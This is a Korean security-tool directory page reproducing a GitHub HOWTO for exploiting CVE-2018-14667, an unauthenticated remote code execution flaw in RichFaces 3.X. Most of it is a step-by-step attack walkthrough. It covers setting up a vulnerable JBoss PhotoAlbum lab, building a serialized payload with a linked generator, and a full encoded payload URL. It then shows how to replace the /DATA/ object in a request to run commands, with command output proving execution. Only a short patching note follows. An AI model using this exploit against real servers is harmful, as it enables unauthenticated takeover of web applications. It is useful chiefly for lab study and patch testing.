Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/syriusbughunt/cve-2018-14667
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

CVE-2018-14667에 관한 모든 것; 그것이 무엇인지부터 성공적으로 악용하는 방법까지.

저장소 보기
50927년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-14667

이 CVE를 이해하고 올바르게 악용하는 데 많은 시간을 보낸 후, 저는 RichFaces 3.X RCE 버그에 대한 저장소를 만들고 커뮤니티와 단계별 HOWTO를 공유하기로 결정했습니다.

0x00 : RichFaces 3.X 버그 소개

2018년 11월 19일 월요일, Joao F M Figueiredo는 치명적인 고위험 RichFaces 취약점에 대한 상세한 기사(https://seclists.org/fulldisclosure/2018/Nov/47)를 게시했습니다.
CVSS3 기본 점수 9.8

이 취약점을 통해 인증되지 않은 모든 사용자가 RichFaces 3.X(모든 버전)를 사용하는 모든 웹 애플리케이션에서 원격 코드 실행을 수행할 수 있으며, 이는 거의 최악의 시나리오입니다.

0x01 : 영향받고 있나요? 

글쎄요, RichFaces 3.X(RichFaces 3의 모든 버전)를 실행 중이고 소스에서 다음 코드를 본다면, 그렇습니다. CVE-2018-14667의 원격 코드 실행에 취약할 가능성이 있습니다:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : 취약한 환경을 실행하여 버그 테스트 

기본적으로 seclists.org 기사에서 이미 다룬 취약한 환경 배포 방법을 다시 설명하겠습니다.

  1. JBoss 5.1.0GA와 PhotoAlbum 애플리케이션이 포함된 RichFaces 데모 애플리케이션을 다운로드합니다.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    →
https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  • ZIP 아카이브의 압축을 풉니다.
  • richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear 애플리케이션을 JBoss 배포 디렉터리 *jboss-5.1.0.GA/server/default/deploy/*로 복사합니다.
  • 다음 구문을 사용하여 JBoss 애플리케이션 서버를 시작합니다(실행 전에 포트 8080이 이미 사용 중이 아닌지 확인하세요): cd bin ; ./run.sh -b 0.0.0.0
  • 웹 애플리케이션을 활성화하려면 PhotoAlbum 인덱스 페이지를 탐색해야 합니다.
  • 0x03 : 유효한 페이로드 생성 

    이제 재미있는 부분입니다! 제가 어려움을 겪었던 부분이라 유효한 페이로드를 생성하는 방법과 제가 했던 것과 같은 오류를 반복하지 않는 방법을 자세히 설명하겠습니다. 먼저 Eclipse를 사용하여 페이로드를 컴파일하는 것이 좋습니다.

    1. 다음 링크에서 Eclipse를 다운로드합니다:
      → https://www.eclipse.org/downloads/
    2. Eclipse를 실행하고 새 웹 프로젝트(Web Project)를 생성하도록 선택합니다.
    3. 이 저장소에서 제공되는 페이로드 생성기를 가져옵니다(https://xz.aliyun.com/t/3264의 orich1에게 감사드립니다).
      → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
    4. 이 저장소의 WAR 아카이브(richfaces-demo-3.3.0.GA-tomcat6.war)를 추출하고, Eclipse의 Java 웹 프로젝트에서 WEB-INF/lib/ 폴더의 모든 .jar 파일을 WebContent/WEB-INF/lib/로 복사합니다.
      → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
    5. Eclipse에서 Main.java 파일을 추가합니다. Eclipse에서 Java 웹 프로젝트 이름을 마우스 오른쪽 버튼으로 클릭하고 New, File을 선택합니다.
    6. Eclipse에서 WebContent/WEB-INF/lib 폴더를 Build Path 소스로 설정합니다. lib 폴더를 마우스 오른쪽 버튼으로 클릭하고 Build Path, Use as Source Folder를 선택합니다.
    7. 운이 좋은지 확인해 봅시다. 녹색 재생(Play) 버튼을 클릭하여 컴파일러를 실행합니다. 출력에서 오류 0개와 유효한 페이로드를 얻었다면 축하합니다. 이제 CVE-2018-14667에 대한 유효한 페이로드를 갖게 된 것입니다. 이제 온갖 종류의 오류가 발생하더라도 당황하지 마세요. 다음 줄(29,30,31,32,33,34,35)을 주석 처리하여 다음과 같이 만들면 됩니다:
    root@kitploit:~
            // Class clazz = Class.forName("javax.el.MethodExpression");
            // Field field = clazz.getField("serialVersionUID");
            // field.setAccessible(true);
            // Field modifiersField = Field.class.getDeclaredField("modifiers");
            // modifiersField.setAccessible(true);
            // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
            // field.setLong(null, MethodExpressionSerialVersionUID);
    

    Eclipse의 출력 결과는 다음과 같아야 합니다:

    root@kitploit:~
    /DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
    

    0x04 : 페이로드 전송 및 원격 코드 실행 

    브라우저에서 PhotoAlbum 웹 애플리케이션을 실행 중인 로컬 JBoss 서버 http://192.168.100.2:8080/photoalbum로 이동하고 마우스 오른쪽 버튼을 클릭하여 페이지 소스를 봅니다. Ctrl+F를 누르고 '/DATA/'를 검색합니다. 다음과 유사한 내용을 찾을 수 있을 것입니다:

    root@kitploit:~
    src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 
    

    직렬화된 객체가 명확하게 보입니다. 원격 코드 실행을 얻기 위해 이 직렬화된 객체를 우리의 페이로드로 교체할 것입니다. 브라우저에서 URL을 http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE로 변경합니다. 제 페이로드는 'touch /tmp/PoorRichFaces' 명령을 실행하고 있었습니다. 성공했는지 확인해 봅시다:

    root@kitploit:~
    drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
    drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
    -rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 
    

    기분 좋지 않나요? 우리는 방금 RichFaces 3.X를 실행하는 Java 웹 애플리케이션에서 RCE를 얻었습니다.

    0x05 : 패치 방법 

    이 사실이 마음에 들지 않을 수 있으니 준비하고 키보드를 꽉 잡으세요. RichFaces는 제품 지원과 관련하여 수명 종료(EOL)에 도달했으므로 사용자(여러분)는 자체 패치를 적용해야 합니다. 당황하지 마세요. 패치 방법을 찾을 수 없다면 주저하지 말고 저에게 연락하세요. 제가 여러분의 Java 웹 애플리케이션을 패치할 수 있도록 조정할 수 있습니다.

    이메일: [email protected]

    도구 다운로드